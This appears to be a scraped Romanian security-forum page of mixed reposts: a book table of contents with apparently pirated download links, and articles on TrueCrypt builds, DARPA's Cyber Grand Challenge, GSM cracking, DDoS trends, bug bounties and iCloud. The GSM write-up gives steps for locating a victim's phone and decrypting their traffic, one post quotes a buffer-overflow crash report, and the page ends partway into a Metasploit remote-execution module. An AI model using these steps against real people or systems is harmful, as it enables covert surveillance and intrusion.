Class Registration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .556 COM IN-PROCESS Server Implementation . . . . . . . . . . . . . . .559 The _AtlModule Global Variable . . . . . . . . . . . . . . . . . . . . . . . . .559 Contents xxv DLL Exports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .560 Module Entry Point . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .561 COM OUT-OF-PROCESS Server Implementation . . . . . . . . . . .561 Module Entry Point . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .562 ATL Attributes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .563 Module Attribute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .564 Interface Attributes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .565 Component Attribute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .566 Adding COM Extensions to the RPCDump Tool . . . . . . . . . . . . . . . . . . . . .567 COM EXE Server Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . .568 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .570 Control Flow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .571 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .572 Application Integration Routines . . . . . . . . . . . . . . . . . . . . . . . . . . . . .573 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .574 Tool Interface Definition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .575 IRpcEnum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .576 IEndpointCollection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .577 IEndpoint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .578 Component Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .578 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .579 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .580 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .583 Application Integration: COMSupport.h . . . . . . . . . . . . . . . . . . . . . . . .584 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .585 Application Integration: RPCDump.C . . . . . . . . . . . . . . . . . . . . . . . . .585 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .585 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .586 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .586 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .586 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .587 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .587 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .587 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .588 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .588 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .589 Chapter 14 Creating a Web Security Tool . . . . . . . . . . . . . . . . . . . . . 593 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .594 Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .594 Attack Signature Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .594 Signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .595 In-Depth Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .595 Sockets and Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .596 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .603 Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .605 xxvi Contents Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .608 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .614 Header Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .616 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .619 Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .619 The Usage Screen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .620 Tool Output . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .620 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .621 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .621 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .622 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .622 Appendix A Glossary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 625 Appendix B Security Tool Compendium. . . . . . . . . . . . . . . . . . . . . . . 633 Source Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .633 Shellcode Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .634 Debuggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .634 Compilers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .634 Hardware Simulators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .635 Security Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .636 Vulnerability Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .636 Network Traffic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .637 Packet Generation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .638 Scanners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .638 Appendix C Exploit Archives. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639 Online Exploit Archives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .640 Appendix D Syscall Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641 exit( int ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .642 open( file, flags, mode ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .642 close( filedescriptor ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .642 read( filedescriptor, pointer to buffer, amount of bytes ) . . . . . . . . . . . . .642 write( filedescriptor, pointer to buffer, amount of bytes ) . . . . . . . . . . . .642 execve( file, file + arguments, environment data ) . . . . . . . . . . . . . . . . . .642 socketcall( callnumber, arguments ) . . . . . . . . . . . . . . . . . . . . . . . . . . . .642 socket( domain, type, protocol ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .643 bind( file descriptor, sockaddr struct, size of arg 2 ) . . . . . . . . . . . . . . . .643 listen ( file descriptor, number of connections allowed in queue ) . . . . . .643 accept ( file descriptor, sockaddr struct, size of arg 2 ) . . . . . . . . . . . . . .643 Appendix E Data Conversion Reference. . . . . . . . . . . . . . . . . . . . . . . 645 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 653 Download: http://www.speedyshare.com/7TpWt/62624332-Sockets-Shellcode-Porting-1597490059.pdf http://www.fileshare.ro/e29946192 http://www.girlshare.ro/32940793.6

Care sunteti din Bucuresti? Care ati veni la un meeting? Care ati veni maine (sambata) la bere? Daca nu vreti sa ziceti aici imi puteti da PM.

Super, mai scurt decat o carte

Si care sunt exploit-urile? Sunt publice, nu?

TrueCrypt is an open-source encryption software capable of on-the-fly encryption on file-, partition- or disk-based virtual disks. It supports various ciphers, including AES, Serpent, Twofish or some combination of them; provides a full disk encryption (FDE) feature under Windows environment with pre-boot authentication; and even allows plausible deniability. Hence TrueCrypt seems to be a perfect solution to protect sensitive files. However, the recent news about the NSA programs enable all conspiracy theorists to imagine the worst of all. What if TrueCrypt was backdoored? What if the binaries provided on the website were different than the source code and they included hidden features? We show in this article how to reproduce a deterministic compilation process specific to TrueCrypt 7.1a for Windows that matches the official binaries, and relieve the world from at least some concerns. [h=2]Article versions changelog[/h] 2013-10-24: Added analysis results of v7.0a and v6.3a 2013-10-23: Explained differences in more details, added assembly comparison 2013-10-22: Added PGP/X.509 screenshots, clarified some comparison comments 2013-10-21: First version [h=2]Challenges and implications[/h] TrueCrypt is a project that doesn't provide deterministic builds. Hence, anyone compiling the sources will get different binaries, as pointed by this article on Privacy Lover, saying that "it is exceedingly difficult to generate binaries from source that match the binaries provided by Truecrypt." This has led some speculations regarding the possibility of having backdoors in the official binaries that cannot be found easiliy. This concern has also been raised in this analysis, saying: "Without a very expensive “reverse engineering” it can't be proved that they are compiled from the published source code. Since we haven't done such a reverse engineering we can't preclude that there is a back door hidden within those binary packages." Recently, the IsTrueCryptAuditedYet project was launched and aims at reviewing TrueCrypt's security and, among other things, providing deterministic build so as to enable everyone to compare her version to the official one. However, it is still at an early stage (as of October 2013) and tries to raise funds first. In this article, I present how I compiled TrueCrypt 7.1a for Windows and reached a very close match to the official binaries. I am also able to explain the small remaining differences and then prove that the official binaries indeed come from the public sources. Articolul aici: https://madiba.encs.concordia.ca/~x_decarn/truecrypt-binaries-analysis/

[h=1]DARPA ANNOUNCES CYBER GRAND CHALLENGE[/h] What if computers had a “check engine” light that could indicate new, novel security problems? What if computers could go one step further and heal security problems before they happen? To find out, the Defense Advanced Research Projects Agency (DARPA) intends to hold the Cyber Grand Challenge (CGC)—the first-ever tournament for fully automatic network defense systems. DARPA envisions teams creating automated systems that would compete against each other to evaluate software, test for vulnerabilities, generate security patches and apply them to protected computers on a network. To succeed, competitors must bridge the expert gap between security software and cutting-edge program analysis research. The winning team would receive a cash prize of $2 million. “DARPA’s series of vehicle Grand Challenges were the dawn of the self-driving car revolution,” said Mike Walker, DARPA program manager. “With the Cyber Grand Challenge, we intend a similar revolution for information security. Today, our time to patch a newly discovered security flaw is measured in days. Through automatic recognition and remediation of software flaws, the term for a new cyber attack may change from zero-day to zero-second.” Highly trained experts capable of reasoning about software vulnerabilities, threats and malware power modern network defense. These experts compete regularly on a global “Capture the Flag” tournament circuit, improving their skills and measuring excellence through head-to-head competition. Drawing on the best traditions of expert computer security competitions, DARPA aims to challenge unmanned systems to compete against each other in a real-time tournament for the first time. “The growth trends we’ve seen in cyber attacks and malware point to a future where automation must be developed to assist IT security analysts,” said Dan Kaufman, director of DARPA’s Information Innovation Office, which oversees the Challenge. The competition is expected to draw teams of top experts from across a wide range of computer security disciplines including reverse engineering, formal methods, program analysis and computer security competition. To encourage widespread participation and teaming, DARPA plans to host teaming forums on the CGC website atwww.darpa.mil/cybergrandchallenge. For the first time, a cyber competition would take place on a network framework purpose-built to interface with automatic systems. Competitors would navigate a series of challenges, starting with a qualifying event in which a collection of software must be automatically analyzed. Competitors would qualify by automatically identifying, analyzing and repairing software flaws. DARPA intends to invite a select group of top competitors s from the qualifying event to the Cyber Grand Challenge final event, slated for early to mid-2016. In that competition, each team’s system would automatically identify software flaws, scanning the network to identify affected hosts. Teams would score based on how capably their systems could protect hosts, scan the network for vulnerabilities and maintain the correct function of software. The winning team from the CGC finals would receive a cash prize of $2 million, with second place earning $1 million and third place taking home $750,000. A Broad Agency Announcement (BAA) with specific information for potential competitors is available at http://go.usa.gov/WqcH. Competitors can choose one of two routes: an unfunded track in which anyone capable of fielding a capable system can participate, and a funded track in which DARPA awards contracts to organizations presenting the most compelling proposals. DARPA also plans in the near future to issue a second BAA for proposals to develop technologies to support the competition. Support technologies will include accessible visualization of a real-time cyber competition event, as well as custom problem sets. That BAA will be available on the Federal Business Opportunities website. The program anticipates hosting two Challengers’ Days—one at DARPA’s offices in Arlington, Va., and the other on the West Coast—where interested competitors can learn more about the event. More information, including up-to-date rules and prize amounts, is available at www.darpa.mil/cybergrandchallenge. Sursa: DARPA ANNOUNCES CYBER GRAND CHALLENGE — Knight And Gale

Eu sunt mai de la tara. Ban o saptamana.

The big GSM write-up – how to capture, analyze and crack GSM? Posted on October 13, 2013 by domi007 So. I had some requests asking me about how I did what I did with GSM. What tools did I use, what hardware and what options? Since I believe strongly that GSM needs to be “out in the hands of the people” meaning everybody should have access to cheap hardware and free, opensource software that helps understanding GSM in practice I thought I will create a series of write-ups describing the whole process from the beginning. Enjoy! First Step: understanding the basics of GSM, what’s the theory behind GSM-cracking? GSM (Global System for Mobile communication) was introduced as a standard in 1991. The cipher used in GSM hasn’t been really well known but already in 1994 Ross Anderson published a theory about how to crack the encryption. Later many people contributed to this theory essentially making GSM theoretically broken since 2003, but practical tools existed only for governmental organizations and mobile operators for such high prices nobody from the hacker community could buy them (not mentioning none of the manufacturers would have given him/her anything). And this was the time when Karsten Nohl decided to dedicate some years as a researcher and as a manager to create both software and hardware that could turn theory into reality. Every single year since 2009 Karsten and one member of his team released something, a milestone if you wish, which contributed to the death of myth that GSM is secure. But there was one problem: all the details could never be released because of the rules of ‘responsible disclosure’ meaning that you can not give access to anybody to tools that exploit unpatched vulnerabilities in a live system. And boy, GSM does have quite some of these. However during the years we always got something, a piece of the puzzle so to speak: 2009 – GSM rainbowtables with the tool Kraken (created by Frank A Stevenson) – they are useless without proper hardware that can capture GSM data but once we have the hardware cracking is possible 2010 – airprobe which makes it possible to capture non-hopping GSM downlink channels with the USRP (combined with Kraken we have a full downlink sniffer on a single cell) I am not listing 2011 here because there was no code released in that year (since the presented solution was a full blown GSM eavesdropping attack there was nothing to be released). So, the landscape of GSM hacking consists of two hardware options: USRP or OsmocomBB. The USRP costs a lot, OsmocomBB has pretty much no code available. My ideal setup would be a combination of these two: cheap hardware and software already available. Is there such a solution? Yes, there is. You can use an RTL-SDR stick to capture GSM data from the air, just like you would do with a USRP. It is not as accurate, it does lose sync sometimes, but it works. And not only for single transmissions (SMS) but also for calls. I tested both, and I can confirm that it works. So, now we have an established platform: we are going to sniff single frequency (non-hopping) GSM downlink-traffic. These are our limitations, airprobe is only capable of decoding the downlink and RTL-SDR isn’t capable of hopping along (although in theory you can use more sticks and lock each of them to a frequency and then re-construct the transmission by combining data from all dongles). BEFORE YOU CONTINUE: if you haver never done anything with GSM, don’t know what a ‘burst’ is, or never heard of a ‘timeslot’ please stop reading this post and read at least the first 4 chapters of this introduction: http://web.ee.sun.ac.za/~gshmaritz/gsmfordummies/intro.shtml UPDATE: The page I referenced here went offline, so here is a PDF containing all its content. Steps to crack GSM (originally outlined by Karsten Nohl): Get the TMSI of the victim Analyze the cell you and the victim are camping on Capture traffic and use the results of your analysis to construct input data for Kraken Use Kraken to crack the key Use the key to decode the data you captured Get the TMSI of the victim TMSI stands for Temporary Mobile Subscriber Identifier which is used on GSM networks to avoid the transmission of any information that would possibly identify a certain person (customer). We need to know this ID so we can tell when the victim is being paged (meaning that he/she is going to receive something from the network – call or SMS). The idea behind uncovering a TMSI is quite simple: if the victim receives anything from the network he/she will get paged. So if we keep sending something to the victim (call/SMS) we can correlate the pagings we observe on the air with the frequency of the transactions we initiate. (this technique was first presented at 27c3 by Sylvain Munaut) The ideal “thing” to send is a silent SMS: it will not show up at all on the victim’s phone (no sound, no notification, nothing) but we will get an acknowledge from the victim saying that our SMS was delivered. Example scenario: we observe pagings and figure out that they page twice for each transaction, so if we send 3 silent messages there should be a TMSI which has been paged 6 times. By altering the number of messages sent we can quickly distinguish false positives from the real answers. Test results: I actually did this attack at Hacktivity with a room full of people (meaning that the cell serving us was quite busy) and on my first attempt using 3 messages I only got two results back (meaning one of them was a false positive). Repeating the process would probably eliminate the false positive easily (there is very little chance that the same false positive would show up). Analyze the cell Since GSM cracking is based on knowing the content of encrypted bursts we need to figure out some information about the cell’s configuration. But wait you might say, what’s the point of this, ‘knowing the content of encrypted bursts’ renders encryption useless, doesn’t it? Yes and no. Of course if you know the content of something that is encrypted there is no point in encryption. But in case of GSM it isn’t so simple: there are some bursts that are transmitted periodically, usually containing information about the system (System Information bursts). The only rule about these bursts is that they need to be transmitted no matter what. Even if the connection is currently encrypted these bursts will be transmitted (naturally in encrypted form). So if we keep looking at the cell’s broadcast channel we can easily find a pattern which could be for example something like this Paging Request for TMSI 11223344 Paging Request for TMSI 55667788 System Information Type 6 Empty Burst Paging Request for TMSI 99887766 Paging Request for TMSI 00112233 System Information Type 5 Empty Burst Paging Request containing TMSI 77001122 Paging Request containing TMSI 66005577 System Information Type 1 Empty Burst and so on. As you can see the pattern repeats itself, just the type of the System Information changes, but for example there is always an empty burst at the end. This is just a fictional pattern but I hope you see the idea: some of these bursts are transmitted even if the connection is encrypted. So if we look at the cell’s traffic, save the cleartext of a System Information Type 5 message, then capture some encrypted data containing the same message we can do: cleartext System Information Type 5 XOR encrypted System Information Type 5 The result is the so called keystream (that comes out of the encryption function A5/1). Guess what do we need to feed our cracker, Kraken with? Yep, A5/1 keystream. The challenge of course is to determine which burst of all the encrypted ones is the one containing in this case the System Information Type 5 message (again, we could have chosen any other message which has a known content). That’s why we need to analyze the cell’s configuration and make maybe one-two test calls to see the call setup. Usually the call setup always happens the same way, so once you figured out what messages are sent during a call-setup you can safely assume that the same messages will be transmitted whenever there is a call-setup. Using Kraken That’s pretty straight forward: download the 1.6 TB of rainbow-tables, write them out to a hard drive and then fire up Kraken. After it is ready just give it the crack command followed by the burst you would like to crack, like this: Kraken> crack 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011 Decrypting traffic Since GSM could be running in many different configurations you might need to try out more config. options of the tool go.sh to get it working properly. Otherwise there isn’t anything fancy about this step, all you need to do is pretty much giving it the key, the filename and ‘let it do the magic’. This is the end of the first part of the series. I covered just the history of GSM hacking, what hardware do we have to do GSM hacking and basic theory behind the attack. In the next part we are going to set up our environment, then start real hacking with it. Stay tuned! Sursa: The big GSM write-up – how to capture, analyze and crack GSM? – 1. | Going on my way…

Attackers use smaller botnets to launch high-bandwidth attacks DDoS perpetrators changed tactics in Q3 2013 to boost attack sizes and hide their identities, according to Prolexic. "This quarter, the major concern is that reflection attacks are accelerating dramatically, increasing 265 percent over Q3 2012 and up 70 percent over Q2," said Stuart Scholly, president of Prolexic. "The bottom line is that DDoS attackers have found an easier, more efficient way to launch high bandwidth attacks with smaller botnets and that's concerning." Attackers are flocking to so-called distributed reflection denial of service (DrDoS) attacks as they provide the benefit of obscuring the source of the attack (anonymity), while enabling the bandwidth of intermediary victims to be used, often unknowingly, to multiply the size of the attack (amplification). In DrDos attacks, there are always two victims, the intended target and the intermediary. The total number of attacks against Prolexic clients in Q3 2013 remained high and represented the highest total for one quarter. This occurrence illustrates a consistently heightened level of DDoS activity around the world over the last six months. Of note, more than 62 percent of Q3 DDoS attacks originated from China, far surpassing all other countries. For the quarter, peak bandwidth averaged 3.06 Gbps and peak packets-per-second (pps) averaged 4.22 Mpps. The largest attack Prolexic mitigated during Q3 was directed at a European media company, peaking at 120 Gbps. Compared to Q2 2013: 1.58 percent increase in total DDOS attacks 6 percent decrease in application layer (Layer 7) attacks 4 percent increase in infrastructure (Layer 3 & 4) attacks 44 percent decrease in the average attack duration: 21.33 hours vs. 38 hours. Compared to Q3 2012: 58 percent increase in total DDOS attacks 101 percent increase in application layer (Layer 7) attacks 48 percent increase in infrastructure (Layer 3 & 4) attacks 12.3 percent increase in the average attack duration: 21.33 hours vs. 19 hours. Prolexic data for Q3 2013 shows a 70 percent increase in reflection attacks (DNS and CHARGEN) over the previous quarter and a 265 percent increase over the same quarter last year. This rise in DrDoS attacks should come as no surprise, as attack methods that inflict high damage with low effort will always be popular. "DrDoS attacks don't require as many bots because the amplification factor is so large," explained Scholly. "Because less outbound bot traffic is needed, the botnet can be much smaller. This makes it easier for these botnets to fly under the radar unless you know what to look for." Sursa: Attackers use smaller botnets to launch high-bandwidth attacks

Confessions of a Zero Day Initiative Bug Hunter Brian_Gorenc| October 23, 2013 A lot of people would argue that making a living out of solo, full-time bug hunting for the Zero Day Initiative is hard. It can be stressful at times, just like any other job, and if anything, it requires more dedication – a lot more. However, from my personal experience, it’s fun. Motivation The first bug I submitted to the Zero Day Initiative (ZDI) program was on 2005-10-02, and it was refused. At the time, the ZDI program was not interested in that specific product. The first bug that I submitted to the ZDI that was purchased was on 2009-08-01, and it changed my perception of bug bounty programs. It was much more rewarding than I expected. Back then, ZDI bought that first bug for approximately $2k - which was more than I earned in an entire month working in Lebanon. It seemed that this bug-hunting game could be quite rewarding, so I did it again and sold my second bug to ZDI. I loved this idea, and I remember wanting to quit my job and hunt for bugs full-time. Later, I was given this opportunity when I moved to Canada for personal reasons. Finding a job in Canada was a bit hard due to the French and Canadian experience requirements (of which I had none). So luckily, this was my chance to bug hunt full-time. I spent a year and a half as a bug hunter, submitting to ZDI and other bug bounty programs and made a decent living at it. Of course, there’s more to bug hunting than just the money. Being credited for finding a bug is equally rewarding, and it helps to build your profile. Picking targets Initially, I started picking soft targets—this allowed me to find bugs fast and maintain a stable income. A “stable income” means finding at least 3 bugs per month. I usually checked ZDI’s list of selected vendors and then made my pick. Today, I would look at the ZDI published advisory page for guidance on which targets to audit. It’s always frustrating when you spend some time auditing a product, and then you submit a bug and it gets refused because the bounty program isn’t interested in that product. I would sometimes submit a bug, and then if it was accepted, I would go ahead and audit for more. You can also email the bounty program and ask them if they’re interested in a certain product before you do any auditing. At the time, I mainly focused on IBM/SAP/HP/Citrix and had some success finding bugs in their products. Most of my initial vulnerability discoveries were in server side products. As I got better, I started exploring client side applications and spent a lot of time reversing Microsoft Internet Explorer. Good reports vs. bad reports As a researcher, I’m an example of someone who used to submit bad reports. I got better over time, and I’ve learned a lot since I started. Submitting good reports to bounty programs increases the potential bounty, and decreases the analysis time required by the bounty program (so it’s good for everyone). Some bounty programs are willing to provide feedback on bugs/reports you’ve submitted. This feedback can be a really helpful resource, and can teach you a lot about research. I’ve had a lot of bad reports back in the days—here’s one of my awesome bad ones (this has been disclosed and was a duplicate of another ZDI submission at the time): CA XOsoft Replication and High Availability r12.5 pre-auth buffer overflow Overview: From the vendors site:"Whether you're looking to ensure the business continuity of your Microsoft Exchange, Microsoft SQL, Microsoft IIS, Oracle or any other file or application server, CA XOsoft solutions will provide you with just the level of disaster immunity and application availability you need." The Bug: XOsoft fails to handle exceptional conditions when sending a long domain/username in the login form of its web application. The bug exists in mng_core, which is loaded by ws_man.exe the CA XOSoft control service that listens on TCP 8088. When sending a long domain/username a SEH will be overwritten. When an exception happens our SEH kicks in thus controlling execution. A snip of the SEH chain is as follows that shows a SEH has been overwritten: SEH chain of thread 000009D0 Address SE handler 030BFF58 mng_core.036691A1 030C385C 41414141 The exception happens here: 03522118 8B06 MOV EAX,DWORD PTR DS:[ESI] 0352211A 8B50 50 MOV EDX,DWORD PTR DS:[EAX+50] //boom, where EAX is controlled. Please find attached a PoC for this issue. Regards, This report clearly showed that XOsoft had an issue but was missing several key items that would have resulted in a quicker turnaround time and a higher bounty. I could have provided better information about the root cause for the crash and the exact reason it happened. In addition to this, I could have provided a description of the protocol used and any additional vectors to reach this vulnerable code. So what does a good report look like? Ideally, a good report is composed of the following details: Program version Download link Tools used to find/debug the bug Where/why the crash happened Exploitability PoC Exploit (optional) In future blog posts, I will go over some of my more complete reports and provide tips to get the most out of the Zero Day Initiative. -- Abdul-Aziz Hariri, HP Security Research Sursa: Confessions of a Zero Day Initiative Bug Hunter - HP Enterprise Business Community

Da, m-am gandit si eu la aceasta posibilitate, ar fi frumos un research foarte detaliat despre subiect. Iar TrueCrypt nu e singura bucata care ar trebui analizata astfel. As pleca chiar de la kernel (Linux)...

Superb, cu poze, poate macar asa se uita lumea peste el.

Apple's iCloud cracked: Lack of two-factor authentication allows remote data download Summary: Notorious Russian hacker Vladimir Katalov released findings showing Apple's iCloud vulnerable to unauthorized download access, with iCloud data stored on Microsoft and Amazon servers. By Violet Blue for Zero Day | October 21, 2013 (Image: Violet Blue/ZDNet) KUALA LUMPUR, MALAYSIA — Russian security researcher Vladimir Katalov analyzed Apple's secretive iCloud and Find My Phone protocols to discover that neither are protected by two-factor authentication, and iCloud data can be downloaded remotely without a user ever knowing. In "Cracking and Analyzing Apple’s iCloud Protocols," presented to a crowded room at Hack In The Box security conference last Thursday in Kuala Lumpr, Malaysia, Vladimir Katalov revealed that user information and data is not as inaccessible as Apple is telling the public. Katalov's findings appear to support his emphatic statement that Apple can access data it claims to not be able to access. A malicious attacker only needs an Apple ID and password to perform remote iCloud backups — and do not need the user's linked devices. He explained that there is no way for a user to encrypt their iCloud backups. The data is encrypted, he explained, but the keys are stored with the data. Katalov added that Apple holds the encryption keys. Katalov told ZDNet he was shocked to discover that in addition to all of these security chain issues, Apple's iCloud data is stored on Microsoft and Amazon servers. Katalov's presentation pointed out that because Apple provides full request information to its third-party storage providers (Amazon and Microsoft), Apple could provide this data to law enforcement. In Apple's July public statement on the NSA PRISM surveillance program, Apple denied any backdoor server access for government agencies. Apple unequivocally stated, "Apple does not give law enforcement access to its servers." When a user performs an iCloud backup download, they receive an email informing the user that the process is complete. Katalov discovered that when a remote download is performed, the user receives no notification email. If a user's data is accessed and downloaded from iCloud by a remote third party, they would not know. Katalov's work represents the first time anyone has analyzed and publicly presented findings on Apple's secretive iCloud protocol. Vladimir Katalov analyzed Apple's iCloud and Find My Phone protocols by sniffing http traffic on jailbroken devices — though he was careful to explain that a user's devices do not need to be jailbroken for a malicious entity to exploit the remote backup protocol security omissions Katalov discovered. Analyzing the traffic, he told the crowded room during his Thursday presentation, was not difficult. Apple's iCloud data is comprised of what a user stores as a data backup. It contains documents, Dropbox files and sensitive user data. In his analysis, Katalov discovered that iCloud files are stored as a container — plist and content — in a files-to-chunks mapping schema. But he found that Apple's two-factor authentication, a layer of user security used in addition to a username and password, is not used for iCloud backups (or Find My Phone). (Image: Violet Blue/ZDNet) Apple's two-step authentication ("2FA") does not protect iCloud backups, Find My Phone data and the documents stored in the cloud. Katalov details this further in a blog post: "Apple Two-Factor Authentication and the iCloud." Katalov showed Hack In The Box attendees that with simple queries, it's possible to get the authentication token for accessing the iCloud backup, backup IDs, and the encryption keys. Then one can download the files from where they're stored in Windows Azure or Amazon AWS. ZDNet caught up with Katalov after his presentation to find out more. When asked if he had presented his discoveries to Apple, he explained that his findings were the results of protocol analysis — and are not a vulnerability. Put another way, the iCloud security hole falls into the "it's a feature, not a bug" category. (Image: Violet Blue/ZDNet) When ZDNet asked Katalov if there was a way for Apple to fix this issue — such as extending two-factor authentication to its iCloud and Find My Phone services — he shook his head and told us that Apple's implementation of two-factor auth was likely "only an afterthought." Katalov told ZDNet the best thing a user can to do to protect their iCloud data is to simply not use iCloud. However, Katalov told us he still uses Apple's iCloud as a backup service. "It is not exactly safe, but I am selecting between security and privacy," he said. It's easy to argue that because a remote attacker needs an Apple user ID and password, the data is still out of reach to most malicious entities. However, obtaining Apple user IDs and passwords isn't impossible — aside from email phishing techniques, which are more effective than most would believe. Social engineering techniques are sadly common and also very effective. A recent example is the spate of Apple ID data thefts in Norway. This past February, a significant number of teenage girls were targeted by boys who easily surmised the girl's user ID and password recovery information to gain access to their Apple accounts, download photos and the girls' data — which, sadly, ended up pass around and also sold online. In his Hack In The Box presentation, Katalov told the audience that he was also surprised to discover that when a user shuts off location tracking services, the user's location is still stored for around 3-6 hours. We wondered if this is what led Katalov to mention that next he will analyze Touch ID protocol and storage — as soon as iOS 7 is jailbroken, he told ZDNet. "Apple says it never sends the information, and it is never copied to local [storage]" he added, "but I am not so sure." ZDNet asked why Katalov felt this way, when Apple specifically states that it does not transmit Touch ID information. Katalov's eyes glittered, and a boyish smile crept across his face. In his thick Russian accent he replied, "Trust no one." ZDNet has contacted Apple for comment and will update this article if Apple responds. Sursa: Apple's iCloud cracked: Lack of two-factor authentication allows remote data download | ZDNet

Windows Management Instrumentation (WMI) Remote Command Execution Authored by Ben Campbell | Site metasploit.com This Metasploit module executes powershell on the remote host using the current user credentials or those supplied. Instead of using PSEXEC over TCP port 445 we use the WMIC command to start a Remote Procedure Call on TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel traffic through that session. The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash. We do not get feedback from the WMIC command so there are no indicators of success or failure. The remote host must be configured to allow remote Windows Management Instrumentation. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell def initialize(info={}) super( update_info( info, 'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution', 'Description' => %q{ This module executes powershell on the remote host using the current user credentials or those supplied. Instead of using PSEXEC over TCP port 445 we use the WMIC command to start a Remote Procedure Call on TCP port 135 and an ephemeral port. Set 